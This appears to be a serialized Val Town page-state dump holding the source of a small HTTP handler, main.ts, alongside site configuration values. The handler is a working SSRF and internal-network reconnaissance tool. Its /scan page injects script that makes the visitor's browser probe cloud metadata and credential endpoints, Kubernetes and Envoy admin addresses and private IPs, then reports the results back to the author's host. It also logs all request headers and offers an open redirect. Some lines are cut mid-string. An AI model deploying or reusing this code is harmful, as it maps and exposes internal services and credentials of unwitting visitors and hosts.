[{"_1":2,"_3":-5,"_4":-5},"loaderData",{"_5":6,"_7":8,"_9":10},"actionData","errors","root",{"_151":152,"_153":154},"routes/_app.x.$handle.$name",{"_11":12,"_13":14,"_15":-7,"_18":19,"_17":-7,"_114":-5,"_20":115,"_22":116,"_117":118,"_119":120,"_26":121,"_24":122,"_123":-5,"_124":-5,"_125":52,"_126":127,"_128":43,"_129":-5,"_130":-5,"_131":132},"routes/_app.x.$handle.$name.code.$",{"_11":12,"_13":14,"_15":16,"_17":-7,"_18":19,"_20":21,"_22":23,"_24":25,"_26":27,"_28":-5,"_29":-5,"_30":-5,"_31":-5,"_32":-5},"handle","keekeetest","name","klav-testing","branchName","main","version","path","main.ts","project",{"_33":60,"_13":14,"_44":61,"_62":-5,"_63":52,"_64":65,"_66":65,"_67":68,"_69":-5,"_70":71,"_72":36,"_73":43,"_74":-5,"_75":-5,"_76":77,"_78":79,"_80":-5,"_81":-5,"_82":-5,"_83":-5,"_84":85,"_86":85,"_87":88,"_89":88,"_90":88,"_91":85,"_92":85,"_93":94,"_95":96,"_97":98,"_99":52},"tree",[55],"file",{"_33":34,"_13":19,"_35":36,"_37":-5,"_38":39,"_40":41,"_42":43,"_44":45,"_17":46,"_47":48,"_49":50,"_51":52,"_53":-5,"_18":54},"contents",[],"upstream","pull","ahead","behind","envVars","id","bd670b8e-dc63-487d-b0e5-54ca0f82ff0d","fileId","c3b8d112-ad9a-11f1-b734-1607ee4eb77e","parentId","branchId","6c0de28e-cfb1-4d58-bae1-2e560a902dc3","branchVersion",11,"latest",true,"createdAt",["D",1789104678413],10,"fileType","http","content","import { blob } from \"https://esm.town/v/std/blob\";\n\nconst LOG_KEY = \"ssrf_probe_hits\";\n\nexport default async function (req: Request): Promise {\n const url = new URL(req.url);\n\n if (url.searchParams.has(\"dump\")) {\n const hits = (await blob.getJSON(LOG_KEY)) ?? [];\n return new Response(JSON.stringify(hits, null, 2), {\n headers: { \"content-type\": \"application/json\" },\n });\n }\n\n if (url.searchParams.has(\"clear\")) {\n await blob.setJSON(LOG_KEY, []);\n return new Response(\"cleared\");\n }\n\n if (url.pathname === \"/log\") {\n const hits = (await blob.getJSON(LOG_KEY)) ?? [];\n hits.push({\n time: new Date().toISOString(),\n type: \"scan-result\",\n target: url.searchParams.get(\"t\"),\n status: url.searchParams.get(\"s\"),\n });\n await blob.setJSON(LOG_KEY, hits.slice(-300));\n const gif = Uint8Array.from(\n atob(\"R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==\"),\n (c) => c.charCodeAt(0)\n );\n return new Response(gif, { headers: { \"content-type\": \"imag\n }\n\n if (url.pathname === \"/scan\") {\n const targets = [\n \"http://169.254.169.254/latest/meta-data/\",\n \"http://169.254.170.2/v2/metadata\",\n \"http://127.0.0.1:15000/\",\n \"http://127.0.0.1:15000/clusters\",\n \"http://localhost:15000/stats\",\n \"http://kubernetes.default.svc/healthz\",\n \"http://kubernetes.default.svc.cluster.local/healthz\",\n \"http://169.254.170.2/v2/credentials\",\n \"http://10.0.0.1/\",\n \"http://10.96.0.1/\",\n \"http://192.0.2.1/\",\n ];\n const base = \"https://keekeetest--c3b8d112ad9a11f1b7341607ee4eb77e.web.val.run\";\n const scriptLines = [\n \"var base = \" + JSON.stringify(base) + \";\",\n \"var targets = \" + JSON.stringify(targets) + \";\",\n \"function ping(t, s) { var img = new Image(); img.src = base + '/log?t=' + encodeURIComponent(t) + '&s=' + encodeURIComponent(s); }\",\n \"targets.forEach(function(t) {\",\n \" var ctrl = new AbortController();\",\n \" var timer = setTimeout(function(){ ctrl.abort(); }, 60\n \" fetch(t, { mode: 'no-cors', signal: ctrl.signal })\",\n \" .then(function(){ clearTimeout(timer); ping(t, 'reso\n \" .catch(function(e){ clearTimeout(timer); ping(t, 'rejected:' + (e && e.name)); });\",\n \"});\",\n ];\n const script = scriptLines.join(\"\\n\");\n const lt = String.fromCharCode(60);\n const gt = String.fromCharCode(62);\n const openTag = lt + \"script\" + gt;\n const closeTag = lt + \"/script\" + gt;\n const html = \"\" + openTag + script + closeTag + \"

scanning

\";\n return new Response(html, { status: 200, headers: { \"conten\n }\n\n const hits = (await blob.getJSON(LOG_KEY)) ?? [];\n hits.push({\n time: new Date().toISOString(),\n method: req.method,\n path: url.pathname,\n query: Object.fromEntries(url.searchParams),\n headers: Object.fromEntries(req.headers),\n });\n await blob.setJSON(LOG_KEY, hits.slice(-300));\n\n if (url.pathname.startsWith(\"/redirect/\")) {\n const encodedTarget = url.pathname.slice(\"/redirect/\".lengt\n const target = decodeURIComponent(encodedTarget);\n return new Response(null, { status: 302, headers: { Locatio\n }\n\n const accept = req.headers.get(\"accept\") || \"\";\n if (accept.includes(\"image\")) {\n const gif = Uint8Array.from(\n atob(\"R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==\"),\n (c) => c.charCodeAt(0)\n );\n return new Response(gif, { headers: { \"content-type\": \"image/gif\" } });\n }\n\n return new Response(\n \"t

VALTOWN-MARKER-9182

bodytest-9182

\",\n { status: 200, headers: { \"content-type\": \"text/html\" } }\n );\n}","deleted",false,"label",[19],{"_33":34,"_13":19,"_35":36,"_37":-5,"_38":39,"_40":41,"_42":43,"_44":56,"_17":46,"_47":48,"_49":50,"_51":52,"_53":-5,"_57":58,"_18":59},["D",1789104678413],"children",[],[19],"104f68b5-6f55-4829-9eb4-00392bca7aef",["D",1789101564510],"deletedAt","legacyEnvVars","privacy","public","httpPrivacy","description","","imageUrl","userId","5cf833c3-55e9-493d-abda-ded425f7f0dd","pinnedFileId","pinPreview","pinMigrated","screenshotVersion","likeCount",0,"orgId","019f42ea-99f8-7162-b165-4dd364d8479a","tursoName","tursoHostname","tursoMeasuredAt","pinned","userPerm","r","valPerm","blobPerm","rw","emailPerm","sqlitePerm","projectPerm","telemetryPerm","user",{"_11":12,"_113":68},"org",{"_11":12,"_108":68,"_109":68,"_70":71,"_110":111,"_112":52},"branch",{"_17":41,"_13":16,"_33":39,"_100":60,"_101":-5,"_102":-5,"_103":-5,"_104":-5,"_105":-5,"_106":14,"_107":12},"isOwned","projectId","forkedBranchId","forkedBranchVersion","forkedProjectPrivacy","forkedProjectId","forkedProjectOrgId","projectName","userHandle","displayName","avatar","tier","free","canRestrictVals","profileImageUrl","adoptOrgId",{"_33":60,"_13":14,"_44":147,"_62":-5,"_63":52,"_64":65,"_66":65,"_67":68,"_69":-5,"_70":71,"_72":36,"_73":43,"_74":-5,"_75":-5,"_76":77,"_78":79,"_80":-5,"_81":-5,"_82":-5,"_83":-5,"_84":85,"_86":85,"_87":88,"_89":88,"_90":88,"_91":85,"_92":85,"_93":148,"_95":149,"_97":150,"_99":52},[144],"files",[144],"counts",{"_134":77,"_135":136,"_137":77,"_32":138,"_139":140},[],{"_33":34,"_13":19,"_35":36,"_37":-5,"_38":39,"_40":41,"_42":43,"_44":45,"_17":46,"_47":48,"_49":50,"_51":52,"_53":-5,"_18":133},"upstreamProject","upstreamBranch","emptyEnvVars","flags",[],"hasHttpFiles","grants","orgs","customDomains",{},[19],"pulls","branches",1,"forks",{"_141":77,"_143":77},"connections",{"_141":77,"_142":77},"count","unfilledCount","emptyCount",{"_33":34,"_13":19,"_35":36,"_37":-5,"_38":39,"_40":41,"_42":43,"_44":56,"_17":46,"_47":48,"_49":50,"_51":52,"_53":-5,"_57":145,"_18":146},[],[19],["D",1789101564510],{"_11":12,"_113":68},{"_11":12,"_108":68,"_109":68,"_70":71,"_110":111,"_112":52},{"_17":41,"_13":16,"_33":39,"_100":60,"_101":-5,"_102":-5,"_103":-5,"_104":-5,"_105":-5,"_106":14,"_107":12},"ctx",{"_93":-5,"_130":184,"_185":186,"_187":188,"_189":52,"_190":52,"_191":52,"_192":43,"_193":-5,"_194":-7,"_195":-7,"_196":77,"_197":52,"_198":52,"_199":-5,"_200":52,"_201":52,"_202":52,"_203":-5},"ENV",{"_155":156,"_157":158,"_159":16,"_160":161,"_162":163,"_164":165,"_166":167,"_168":169,"_170":171,"_172":173,"_174":175,"_176":177,"_178":179,"_180":181,"_182":183},"REACT_APP_SENTRY_DSN","https://586020d86f05489db63a554690acf1e9@o1398359.ingest.sentry.io/6724499","RENDER_GIT_COMMIT","e87eb04e707cf64e7e532c8e8ec395f209e17f15","RENDER_GIT_BRANCH","POSTHOG_API_TOKEN","phc_nmoyuAkStEZuUp69rYlg1DZgrIt19Gx0Y4Hwf8tGgJP","POSTHOG_API_HOST","https://wart.val.town","WEB_API_TEMPLATE","https://{val}.web.val.run","APP_URL","https://www.val.town","MODULE_URL","https://esm.town","VANITY_WEB_API_TEMPLATE","https://{label}.val.run/","DENOLS_URL","https://lsp.val.town","NODE_ENV","production","CLOUDFLARE_TURNSTILE_SITE_KEY","0x4AAAAAACtaIZJH7s9rBMZ6","GOOGLE_CLIENT_ID","875989696899-jtsqkhlbdv5jrlsk8631p7ipjg3c6o62.apps.googleusercontent.com","STRIPE_PUBLISHABLE_KEY","pk_live_51N2zvWEpZTTLipIkVEwXrUG9AT0yeOOEYxszarZT1jpsZV58Ly6wlg3SltZpHN26CUalOBmUSY7adQRQiSkCZz2500qSXNkf8Y","API_URL","https://api.val.town",[],"preferencesKeybindings","default","preferencesTheme","light","preferencesFixers","preferencesCopilot","preferencesSelectionAi","preferencesCloseBrackets","preferencesChatPanelState","preferencesDprint","preferencesDenofmt","notificationCount","flagDenols","isBusinessOrgMember","businessOrgHandle","isBusinessOrgAdmin","isHigherTownieTier","navCollapsed","currentOrgId"]